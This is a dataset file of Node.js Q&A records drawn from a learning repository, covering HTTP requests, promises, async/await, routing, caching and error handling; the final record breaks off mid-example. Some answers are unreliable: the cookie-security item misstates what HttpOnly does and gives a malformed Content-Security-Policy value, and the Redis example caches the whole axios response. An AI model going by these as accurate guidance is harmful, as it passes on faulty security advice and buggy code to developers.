{"id": "gh_5e98cdd08400", "question": "How to: Q. How to make post request in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Following code snippet can be used to make a Post Request in Node.js.\n\n```js\n/**\n * POST Request\n */\nconst request = require(\"request\");\n\nrequest.post(\"http://localhost:3000/action\",  { form: { key: \"value\" } },\n  function (error, response, body) {\n    if (!error && response.statusCode === 200) {\n      console.log(body);\n    }\n  }\n);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207675"}
{"id": "gh_212b7fbc013c", "question": "How to: Q. What are Promises in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "It allows to associate handlers to an asynchronous action\\'s eventual success value or failure reason. This lets asynchronous methods return values like synchronous methods: instead of the final value, the asynchronous method returns a promise for the value at some point in the future.\n\nPromises in node.js promised to do some work and then had separate callbacks that would be executed for success and failure as well as handling timeouts. Another way to think of promises in node.js was that they were emitters that could emit only two events: success and error.The cool thing about promises is you can combine them into dependency chains (do Promise C only when Promise A and Promise B complete).\n\nThe core idea behind promises is that a promise represents the result of an asynchronous operation. A promise is in one of three different states:\n\n* pending - The initial state of a promise.\n* fulfilled - The state of a promise representing a successful operation.\n* rejected - The state of a promise representing a failed operation.\nOnce a promise is fulfilled or rejected, it is immutable (i.e. it can never change again).  \n\n**Example:**\n\n```js\n/**\n * Promise\n */\nfunction getSum(num1, num2) {\n  const myPromise = new Promise((resolve, reject) => {\n    if (!isNaN(num1) && !isNaN(num2)) {\n      resolve(num1 + num2);\n    } else {\n      reject(new Error(\"Not a valid number\"));\n    }\n  });\n\n  return myPromise;\n}\n\nconsole.log(getSum(10, 20)); // Promise { 30 }\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207684"}
{"id": "gh_b61cfc5e21f1", "question": "How to: Q. How can you secure your HTTP cookies against XSS attacks?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1.** When the web server sets cookies, it can provide some additional attributes to make sure the cookies won\\'t be accessible by using malicious JavaScript. One such attribute is HttpOnly.\n\n```js\nSet-Cookie: [name]=[value]; HttpOnly\n```\n\nHttpOnly makes sure the cookies will be submitted only to the domain they originated from.\n\n**2.** The \"Secure\" attribute can make sure the cookies are sent over secured channel only.\n\n```js\nSet-Cookie: [name]=[value]; Secure\n```\n\n**3.** The web server can use X-XSS-Protection response header to make sure pages do not load when they detect reflected cross-site scripting (XSS) attacks.\n\n```js\nX-XSS-Protection: 1; mode=block\n```\n\n**4.** The web server can use HTTP Content-Security-Policy response header to control what resources a user agent is allowed to load for a certain page. It can help to prevent various types of attacks like Cross Site Scripting (XSS) and data injection attacks.\n\n```js\nContent-Security-Policy: default-src 'self' *.http://sometrustedwebsite.com\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207691"}
{"id": "gh_733e9886b5bc", "question": "How to: Q. How to make an HTTP POST request using axios in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "```js\n/**\n * POST Request using Axios\n */\nconst express = require(\"express\");\nconst app = express();\nconst axios = require(\"axios\");\n\napp.post(\"/user\", async (req, res) => {\n  try {\n    const payload = { name: \"Aashita Iyer\", email: \"aashita.iyer@email.com\" };\n    const response = await axios.post(\"http://httpbin.org/post\", payload);\n    console.log(response.data);\n    res.status(200).json(response.data);\n  } catch (err) {\n    res.status(500).json({ message: err });\n  }\n});\n\napp.listen(3000, function () {\n  console.log(`App listening at http://localhost:3000/`);\n});\n```\n\n**Output:**\n\n```js\n{\n  args: {},\n  data: '{\"name\":\"Aashita Iyer\",\"email\":\"aashita.iyer@email.com\"}',\n  files: {},\n  form: {},\n  headers: {\n    Accept: 'application/json, text/plain, */*',\n    'Accept-Encoding': 'gzip, deflate, br',\n    'Content-Length': '56',\n    'Content-Type': 'application/json',\n    Host: 'httpbin.org',\n    'User-Agent': 'axios/1.1.3',\n    'X-Amzn-Trace-Id': 'Root=1-635cd3d3-1f13ea981467e6371ce3a740'\n  },\n  json: { email: 'aashita.iyer@email.com', name: 'Aashita Iyer' },\n  origin: 'xx.xx.xx.xx',\n  url: 'http://httpbin.org/post'\n}\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207700"}
{"id": "gh_e7e41ba7ffb5", "question": "How to: Q. What is asynchronous programming in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Asynchronous programming is a form of parallel programming that allows a unit of work to run separately from the primary application thread. When the work is complete, it notifies the main thread (as well as whether the work was completed or failed). There are numerous benefits to using it, such as improved application performance and enhanced responsiveness.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207706"}
{"id": "gh_d8fd7b03be6b", "question": "How to: Q. What is the difference between Asynchronous and Non-blocking?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Asynchronous:**\n\nThe architecture of asynchronous explains that the message sent will not give the reply on immediate basis just like we send the mail but do not get the reply on an immediate basis. It does not have any dependency or order. Hence improving the system efficiency and performance. The server stores the information and when the action is done it will be notified.\n\n**2. Non-Blocking:**\n\nNonblocking immediately responses with whatever data available. Moreover, it does not block any execution and keeps on running as per the requests. If an answer could not be retrieved then in those cases API returns immediately with an error. Nonblocking is mostly used with I/O(input/output). Node.js is itself based on nonblocking I/O model. There are few ways of communication that a nonblocking I/O has completed. The callback function is to be called when the operation is completed. Nonblocking call uses the help of javascript which provides a callback function.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207713"}
{"id": "gh_bd4e67ee4dbd", "question": "How to: Q. How node.js prevents blocking code?", "question_body": "About learning-zone/nodejs-basics", "answer": "**Blocking vs Non-blocking:**\n\n**Blocking** is when the execution of additional JavaScript in the Node.js process must wait until a non-JavaScript operation completes. This happens because the event loop is unable to continue running JavaScript while a **blocking** operation is occurring.\n\nSynchronous methods in the Node.js standard library that use **libuv** are the most commonly used blocking operations. Native modules may also have blocking methods. Blocking methods execute `synchronously` and non-blocking methods execute `asynchronously`.\n\n**Example:**\n\n```js\n// Blocking\nconst fs = require('fs');\nconst data = fs.readFileSync('/file.md'); // blocks here until file is read\nconsole.log(data);\nmoreWork(); // will run after console.log\n\n// Non-blocking\nconst fs = require('fs');\nfs.readFile('/file.md', (err, data) => {\n  if (err) throw err;\n  console.log(data);\n});\nmoreWork(); // will run before console.log\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207721"}
{"id": "gh_948a0940b6b5", "question": "How to: Q. Name the types of API functions in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "There are two types of API functions in Node.js:\n\n* Asynchronous, Non-blocking functions\n* Synchronous, Blocking functions\n\n**1. Blocking functions:**\n\nIn a blocking operation, all other code is blocked from executing until an I/O event that is being waited on occurs. Blocking functions execute synchronously.\n\n**Example:**\n\n```js\nconst fs = require('fs');\nconst data = fs.readFileSync('/file.md'); // blocks here until file is read\nconsole.log(data);\n// moreWork(); will run after console.log\n```\n\nThe second line of code blocks the execution of additional JavaScript until the entire file is read. moreWork () will only be called after Console.log\n\n**2. Non-blocking functions:**\n\nIn a non-blocking operation, multiple I/O calls can be performed without the execution of the program being halted. Non-blocking functions execute asynchronously.\n\n**Example:**\n\n```js\nconst fs = require('fs');\nfs.readFile('/file.md', (err, data) => {\n  if (err) throw err;\n  console.log(data);\n});\n// moreWork(); will run before console.log\n```\n\nSince `fs.readFile()` is non-blocking, moreWork() does not have to wait for the file read to complete before being called. This allows for higher throughput.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207729"}
{"id": "gh_b866bd9453d0", "question": "How to: Q. What is difference between put and patch?", "question_body": "About learning-zone/nodejs-basics", "answer": "PUT and PATCH are HTTP verbs and they both relate to updating a resource. The main difference between PUT and PATCH requests are in the way the server processes the enclosed entity to modify the resource identified by the Request-URI.\n\nIn a PUT request, the enclosed entity is considered to be a modified version of the resource stored on the origin server, and the client is requesting that the stored version be replaced.\n\nWith PATCH, however, the enclosed entity contains a set of instructions describing how a resource currently residing on the origin server should be modified to produce a new version.\n\nAlso, another difference is that when you want to update a resource with PUT request, you have to send the full payload as the request whereas with PATCH, you only send the parameters which you want to update.\n\nThe most commonly used HTTP verbs POST, GET, PUT, DELETE are similar to CRUD (Create, Read, Update and Delete) operations in database. We specify these HTTP verbs in the capital case. So, the below is the comparison between them.\n\n* `POST` - create\n* `GET`  - read  \n* `PUT`  - update\n* `DELETE` - delete\n\n**PATCH**: Submits a partial modification to a resource. If you only need to update one field for the resource, you may want to use the PATCH method.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207738"}
{"id": "gh_b199b9b3da21", "question": "How to: Q. What is difference between promises and async-await in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Promises:**\n\nA promise is used to handle the asynchronous result of an operation. JavaScript is designed to not wait for an asynchronous block of code to completely execute before other synchronous parts of the code can run. With Promises, we can defer the execution of a code block until an async request is completed. This way, other operations can keep running without interruption.\n\n**States of Promises:**\n\n* `Pending`: Initial State, before the Promise succeeds or fails.\n* `Resolved`: Completed Promise\n* `Rejected`: Failed Promise, throw an error\n\n**Example:**\n\n```js\nfunction logFetch(url) {\n  return fetch(url)\n    .then(response => {\n      console.log(response);\n    })\n    .catch(err => {\n      console.error('fetch failed', err);\n    });\n}\n```\n\n**2. Async-Await:**\n\n`Await` is basically syntactic sugar for **Promises**. It makes asynchronous code look more like synchronous/procedural code, which is easier for humans to understand.\n\nPutting the keyword `async` before a function tells the function to return a Promise. If the code returns something that is not a `Promise`, then JavaScript automatically wraps it into a resolved promise with that value. The `await` keyword simply makes JavaScript wait until that `Promise` settles and then returns its result.\n\n**Example:**\n\n```js\nasync function logFetch(url) {\n  try {\n    const response = await fetch(url);\n    console.log(response);\n  }\n  catch (err) {\n    console.log('fetch failed', err);\n  }\n}\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207770"}
{"id": "gh_d67d87138902", "question": "How to: Q. Mention the steps by which you can async in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "ES 2017 introduced Asynchronous functions. Async functions are essentially a cleaner way to work with asynchronous code in JavaScript. \n\n**1. Async/Await:**\n\n* The newest way to write asynchronous code in JavaScript.\n* It is non blocking (just like promises and callbacks).\n* Async/Await was created to simplify the process of working with and writing chained promises.\n* Async functions return a Promise. If the function throws an error, the Promise will be rejected. If the function returns a value, the Promise will be resolved.  \n\nSyntax\n\n```js\n// Normal Function\nfunction add(x,y){\n  return x + y;\n}\n// Async Function\nasync function add(x,y){\n  return x + y;\n}\n```\n\n**2. Await:**\n\nAsync functions can make use of the await expression. This will pause the async function and wait for the Promise to resolve prior to moving on.  \n\n**Example:**\n\n```js\nfunction doubleAfter2Seconds(x) {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve(x * 2);\n    }, 2000);\n  });\n}\n\nasync function addAsync(x) {\n  const a = await doubleAfter2Seconds(10);\n  const b = await doubleAfter2Seconds(20);\n  const c = await doubleAfter2Seconds(30);\n  return x + a + b + c;\n}\n\naddAsync(10).then((sum) => {\n  console.log(sum);\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207779"}
{"id": "gh_0c30a0c20caa", "question": "How to: Q. How to use promise in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "A promise is an object that represents the return value or the thrown exception that the function may eventually provide. A promise can also be used as a proxy for a remote object to overcome latency.\n\nPromise is relatively an easy implementation for asynchronous operation. The promise object returned from the function represents an operation which is not completed yet, but it guarantees to the caller of the operation that the operation will be completed in future.\n\nPromise has the following states:\n\n* **Pending** - asynchronous operation is not yet completed.\n* **Fulfilled** - asynchronous operation is completed successfully.\n* **Rejected** - asynchronous operation is terminated with an error.\n* **Settled** - asynchronous operation is either fulfilled or rejected.\n* **Callback** - function is executed if the promise is executed with value.\n* **Errback** - function is executed if the promise is rejected.\n\n**Moving to Promises from Callback:**\n\nOn the first pass, promises can mitigate the **Pyramid of Doom**: the situation where code marches to the right faster than it marches forward.\n\n```js\nstep1(function (value1) {\n    step2(value1, function(value2) {\n        step3(value2, function(value3) {\n            step4(value3, function(value4) {\n                // Do something with value4\n            });\n        });\n    });\n});\n```\n\nWith a promise library, it can flatten the pyramid.\n\n```js\nconst myPromise = new Promise((resolve, reject) => {\n  setTimeout(() => {\n    resolve(\"successful\");\n  }, 100);\n});\n\nmyPromise\n  .then(handleFulfilledA)\n  .then(handleFulfilledB)\n  .then(handleFulfilledC)\n  .catch(handleRejectedAny);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207790"}
{"id": "gh_92df640814f7", "question": "How to: Q. How to perform get request using axios in nodejs?", "question_body": "About learning-zone/nodejs-basics", "answer": "```js\n/**\n * Get Request using Axios\n */\nconst express = require(\"express\");\nconst app = express();\nconst axios = require(\"axios\");\n\napp.get(\"/async\", async (req, res) => {\n  try {\n    const response = await axios.get(\"https://jsonplaceholder.typicode.com/todos/1\");\n    res.status(200).json(response.data);\n  } catch (err) {\n    res.status(500).json({ message: err });\n  }\n});\n\napp.listen(3000, function () {\n  console.log(`App listening at http://localhost:3000/`);\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207796"}
{"id": "gh_1ee7415b0574", "question": "How to: Q. How does routing work in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Routing defines the way in which the client requests are handled by the application endpoints. We define routing using methods of the Express app object that correspond to HTTP methods; for example, `app.get()` to handle `GET` requests and `app.post` to handle `POST` requests, `app.all()` to handle all HTTP methods and `app.use()` to specify middleware as the callback function.\n\nThese routing methods \"listens\" for requests that match the specified route(s) and method(s), and when it detects a match, it calls the specified callback function.\n\n*Syntax*:\n\n```js\napp.METHOD(PATH, HANDLER)\n```\n\nWhere:\n\n* app is an instance of express.\n* METHOD is an `HTTP request method`.\n* PATH is a path on the server.\n* HANDLER is the function executed when the route is matched.\n\n**a) Route methods:**\n\n```js\n// GET method route\napp.get('/', function (req, res) {\n  res.send('GET request')\n})\n\n// POST method route\napp.post('/login', function (req, res) {\n  res.send('POST request')\n})\n\n// ALL method route\napp.all('/secret', function (req, res, next) {\n  console.log('Accessing the secret section ...')\n  next() // pass control to the next handler\n})\n```\n\n**b) Route paths:**\n\nRoute paths, in combination with a request method, define the endpoints at which requests can be made. Route paths can be strings, string patterns, or regular expressions.\n\nThe characters `?`, `+`, `*`, and `()` are subsets of their regular expression counterparts. The hyphen `(-)` and the dot `(.)` are interpreted literally by string-based paths.\n\n**Example:**\n\n```js\n// This route path will match requests to /about.\napp.get('/about', function (req, res) {\n  res.send('about')\n})\n\n// This route path will match acd and abcd.\napp.get('/ab?cd', function (req, res) {\n  res.send('ab?cd')\n})\n\n// This route path will match butterfly and dragonfly\napp.get(/.*fly$/, function (req, res) {\n  res.send('/.*fly$/')\n})\n```\n\n**c) Route parameters:**\n\nRoute parameters are named URL segments that are used to capture the values specified at their position in the URL. The captured values are populated in the `req.params` object, with the name of the route parameter specified in the path as their respective keys.\n\n**Example:**\n\n```js\napp.get('/users/:userId', function (req, res) {\n  res.send(req.params)\n})\n```\n\n**Response methods:**\n\n| Method            | Description                   |\n|-------------------|-------------------------------|\n|`res.download()`   |Prompt a file to be downloaded.|\n|`res.end()`        |End the response process.|\n|`res.json()`       |Send a JSON response.|\n|`res.jsonp()`      |Send a JSON response with JSONP support.|\n|`res.redirect()`   |Redirect a request.|\n|`res.render()`     |Render a view template.|\n|`res.send()`       |Send a response of various types.|\n|`res.sendFile()`   |Send a file as an octet stream.|\n|`res.sendStatus()` |Set the response status code and send its string representation as the response body.|\n\n**d) Router method:**\n\n```js\nconst express = require('express')\nconst router = express.Router()\n\n// middleware that is specific to this router\nrouter.use(function timeLog (req, res, next) {\n  console.log('Time: ', Date.now())\n  next()\n})\n\n// define the home page route\nrouter.get('/', function (req, res) {\n  res.send('Birds home page')\n})\n\n// define the about route\nrouter.get('/about', function (req, res) {\n  res.send('About birds')\n})\n\nmodule.exports = router\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207813"}
{"id": "gh_dd5c9fdccd5d", "question": "How to: Q. How to access cache data in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Caching is a technique used in web development to handle performance bottlenecks related to how data is managed, stored, and retrieved. A cache layer or server acts as a secondary storage layer, usually faster and highly performant to temporarily store a subset of data. It is expected that data stored in a cache does not change often. Cache can be stored using various techniques like in-memory cache, file cache or a separate cache database.\n\n**Installation:**\n\n```js\nnpm install express node-cache axios\n```\n\n**Node-cache has following major functions:**\n\n* **.set(key, val, [ ttl ]):** Used to set some value corresponding to a particular key in the cache. This same key must be used to retrieve this value.\n* **.get(key):** Used to get value set to specified key. It returns undefined, if the key is not already present.\n* **has(key):** Used to check if the cache already has some value set for specified key. Returns true if present otherwise false.\n\n**Implement in-memory cache with following approach:**\n\n* On API request, check if the cache has key already set using has(key) function\n* If the cache has the key, retrieve the cached value by get(key) function and use it instead of performing operation again. (This saves time)\n* If the cache doesn\\'t have a key, perform the operations required, and before sending the response, set the value for that key so that further requests can be responded to directly through cached data.\n\n**Example:**\n\n```js\n/**\n * In-Memory Cache \n */\nconst express = require(\"express\");\nconst NodeCache = require(\"node-cache\");\nconst axios = require(\"axios\");\n\nconst app = express();\nconst cache = new NodeCache({ stdTTL: 15 });\n\n/**\n * GET Cached Data\n */\nconst verifyCache = (req, res, next) => {\n  try {\n    const { id } = req.params;\n    if (cache.has(id)) {\n      return res.status(200).json(cache.get(id));\n    }\n    return next();\n  } catch (err) {\n    throw new Error(err);\n  }\n};\n\napp.get(\"/\", (req, res) => {\n  return res.json({ message: \"Hello World\" });\n});\n\n/**\n * GET ToDo Items\n */\napp.get(\"/todos/:id\", verifyCache, async (req, res) => {\n  try {\n    const { id } = req.params;\n    const { data } = await axios.get(`https://jsonplaceholder.typicode.com/todos/${id}`);\n    cache.set(id, data);\n    return res.status(200).json(data);\n  } catch ({ response }) {\n    return res.sendStatus(response.status);\n  }\n});\n\napp.listen(3000, function () {\n  console.log(`App listening at http://localhost:3000/`);\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207827"}
{"id": "gh_593662c93d55", "question": "How to: Q. How to implement caching using Redis in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Redis is an open-source (BSD licensed), in-memory data structure store used as a database, cache, and message broker. Redis also supports disk-persistent data storage.\n\nIts key-value data storage system is another plus because it makes storage and retrieval much simpler. Using Redis, we can store and retrieve data in the cache using the SET and GET methods, respectively.\n\n**Installation:**\n\n```js\nnpm install -save redis\n```\n\n**Example:**\n\n```js\nconst express = require(\"express\");\nconst axios = require(\"axios\");\nconst redis = require(\"redis\");\nconst app = express();\n\nconst client = redis.createClient(6379);\n\nclient.on(\"error\", (error) => {\n  console.error(error);\n});\n\napp.get(\"/\", (req, res) => {\n  return res.json({ message: \"Hello World\" });\n});\n\nconst cache = (req, res, next) => {\n  try {\n    const { id } = req.params;\n    client.get(id, (error, result) => {\n      if (error) throw error;\n      if (result !== null) {\n        return res.json(JSON.parse(result));\n      } else {\n        return next();\n      }\n    });\n  } catch (err) {\n    throw new Error(err);\n  }\n};\n\napp.get(\"/todos/:id\", cache, async (req, res) => {\n  try {\n    const { id } = req.params;\n    const data = await axios.get(`https://jsonplaceholder.typicode.com/todos/${id}`);\n    client.set(id, JSON.stringify(data), \"ex\", 15);\n    return res.status(200).json(data);\n  } catch ({ response }) {\n    return res.sendStatus(response.status);\n  }\n});\n\napp.listen(3000, function () {\n  console.log(`App listening at http://localhost:3000/`);\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207837"}
{"id": "gh_c5acdace0346", "question": "How to: Q. How to implement Memcached in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**Memcached** is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. Memcached is free and open-source software, licensed under the Revised BSD licence. Memcached runs on Unix-like operating systems (at least LINUX and OS X) and on Microsoft windows.\n\nWe can store data to memcached server in key pair format. So whenever any request come from the app can be matched with memcached server without any query from mysql/Nosql server. This increases the performance of the application.\n\n**Installation:**\n\n```js\nnpm install memcached\n```\n\n**Setting up the client:**\n\nThe constructor of the memcached client take 2 different arguments server locations and options. Syntax:\n\n```js\nconst Memcached = require('memcached');\nconst memcached = new Memcached(Server locations, options);\n```\n\n**Example:**\n\n```js\n/**\n * Memcached\n */\nconst Memcached = require('memcached');\n// all global configurations should be applied to the .config object of the Client.\nMemcached.config.poolSize = 25;\n\nconst memcached = new Memcached('localhost:11211', { retries:10, retry:10000, remove:true, failOverServers:['192.168.0.103:11211']});\n```\n**Reference:**\n\n* *[https://www.npmjs.com/package/memcached](https://www.npmjs.com/package/memcached)*\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207846"}
{"id": "gh_ca28d5c7a3d4", "question": "How to: Q. What is the preferred method of resolving unhandled exceptions in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Unhandled exceptions in Node.js can be caught at the Process level by attaching a handler for uncaughtException event.\n\n```js\nprocess.on('uncaughtException', function(err) {\n    console.log('Caught exception: ' + err);\n});\n```\n\nProcess is a global object that provides information about the current Node.js process. Process is a listener function that is always listening to events.\n\nFew events are :\n\n1. Exit\n1. disconnect\n1. unhandledException\n1. rejectionHandled\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207853"}
{"id": "gh_fa270fd0b4fb", "question": "How to: Q. What is Error Handling in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "An error is any problem given out by the program due to a number of factors such as logic, syntax, timeout, etc. An error in Node.js is any instance of the Error object. Common examples include built-in error classes, such as ReferenceError, RangeError, TypeError, URIError, EvalError, and SyntaxError.\n\nUser-defined errors can also be created by extending the base Error object, a built-in error class, or another custom error. In general, Node.js errors are divided into two distinct categories: operational errors and programmer errors.\n\n**1. Operational Errors:**\n\nOperational errors represent runtime problems. These errors are expected in the Node.js runtime and should be dealt with in a proper way. Here\\'s a list of common operational errors:\n\n* failed to connect to server\n* failed to resolve hostname\n* invalid user input\n* request timeout\n* server returned a 500 response\n* socket hang-up\n* system is out of memory\n\n**2. Programmer Errors:**\n\nProgrammer errors are what we call bugs. They represent issues in the code itself. Here\\'s a common one for Node.js, when you try reading a property of an undefined object. It\\'s a classic case of programmer error. Here are a few more:\n\n* called an asynchronous function without a callback\n* did not resolve a promise\n* did not catch a rejected promise\n* passed a string where an object was expected\n* passed an object where a string was expected\n* passed incorrect parameters in a function\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207863"}
{"id": "gh_e91c434db4a0", "question": "How to: Q. Explain Error Handling approaches in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Using try-catch block:**\n\nTry-catch declaration is basically used to handle runtime errors in node.js. If the code in the try block throws an exception, the code in the catch block will be executed. It can be extended using finally clause. The finally clause is statements that are executed after the try statement completes.\n\n**Example:**\n\n```js\nfunction square(num) {\n  if (typeof num !== \"number\") {\n    throw new TypeError(`Expected number but got: ${typeof num}`);\n  }\n\n  return num * num;\n}\n\ntry {\n  square(\"10\");\n} catch (err) {\n  console.log(err.message); // Expected number but got: string\n}\n```\n\n**2. Using promises:**\n\nPromise in Node.js is a contemporary way to handle errors, and it is usually preferred compared to callbacks. In the function, we will return a promise, which is a wrapper to our primary logic. We pass two arguments while defining the Promise object:\n\n* resolve — used to resolve promises and provide results\n* reject — used to report/throw errors\n\n**Example:**\n\n```js\nfunction square(num) {\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      if (typeof num !== \"number\") {\n        reject(new TypeError(`Expected number but got: ${typeof num}`));\n      }\n\n      const result = num * num;\n      resolve(result);\n    }, 100);\n  });\n}\n\nsquare(\"10\")\n  .then((result) => console.log(result))\n  .catch((err) => console.error(err));\n```\n\nOutput:\n\n```js\nTypeError: Expected number but got: string\n    at Timeout._onTimeout (C:\\node\\index.js:5:16)\n    at listOnTimeout (internal/timers.js:554:17)\n    at processTimers (internal/timers.js:497:7)\n```\n\n**3. Error-first callbacks:**\n\nNode.js uses an error-first callback convention in most of its asynchronous methods to ensure that errors are checked properly before the results of an operation are used. This callback function is usually the last argument to the function that initiates an asynchronous operation, and it is called once when an error occurs or a result is available from the operation.\n\n**Example:**\n\n```js\nconst fs = require('fs');\n\nfs.readFile('/path/to/file.txt', (err, result) => {\n  if (err) {\n    console.error(err);\n    return;\n  }\n\n  // Log the file contents if no error\n  console.log(result);\n});\n```\n\nOutput\n\n```js\n[Error: ENOENT: no such file or directory, open 'D:\\path\\to\\file.txt'] {\n  errno: -4058,\n  code: 'ENOENT',\n  syscall: 'open',\n  path: 'D:\\\\path\\\\to\\\\file.txt'\n}\n```\n\n**4. Using the async/await approach:**\n\nAsync/await is just syntactic sugar that is meant to augment promises. It provides a synchronous structure to asynchronous code.\nThe return value of an async function is a Promise. The await waits for the promise to be resolved or rejected.\n\n```js\nconst fs = require('fs');\nconst util = require('util');\n\nconst readFile = util.promisify(fs.readFile);\n\nconst read = async () => {\n  try {\n    const result = await readFile('/path/to/file.txt');\n    console.log(result);\n  } catch (err) {\n    console.error(err);\n  }\n};\n\nread();\n```\n\nOutput:\n\n```js\n[Error: ENOENT: no such file or directory, open 'D:\\path\\to\\file.txt'] {\n  errno: -4058,\n  code: 'ENOENT',\n  syscall: 'open',\n  path: 'D:\\\\path\\\\to\\\\file.txt'\n}\n```\n\n**5. Use Middleware:**\n\nIt is usually a good idea to build a centralized error-handling component in order to avoid possible code duplications when handling errors. The error-handling component is in charge of making the caught errors understandable by, for example, sending notifications to system admins (if necessary), transferring events to a monitoring service like Sentry.io, and logging them.\n\nIt is a good decision to employ a customizable logger like winston or morgan. Here is a customized winston logger:\n\n**Example:**\n\n```js\nconst winston = require(\"winston\");\n\nconst logger = winston.createLogger({\n  level: \"debug\",\n  format: winston.format.json(),\n  transports: [new winston.transports.Console()],\n});\n\nmodule.exports = logger;\n```\n\n```js\nconst express = require(\"express\");\nconst logger = 